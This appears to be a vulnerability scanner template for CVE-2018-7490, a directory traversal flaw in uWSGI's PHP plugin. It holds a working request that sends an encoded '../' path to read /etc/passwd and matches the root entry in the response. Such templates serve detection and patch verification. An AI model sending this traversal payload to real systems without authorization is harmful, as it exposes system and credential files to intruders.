id: CVE-2018-7490 info: name: uWSGI PHP Plugin Directory Traversal author: madrobot severity: high tags: cve,cve2018,uwsgi,php,lfi,plugin classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.50 cve-id: CVE-2018-7490 cwe-id: CWE-22 description: "uWSGI before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, allowing directory traversal." reference: - https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html - https://www.exploit-db.com/exploits/44223/ - https://www.debian.org/security/2018/dsa-4142 requests: - method: GET path: - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body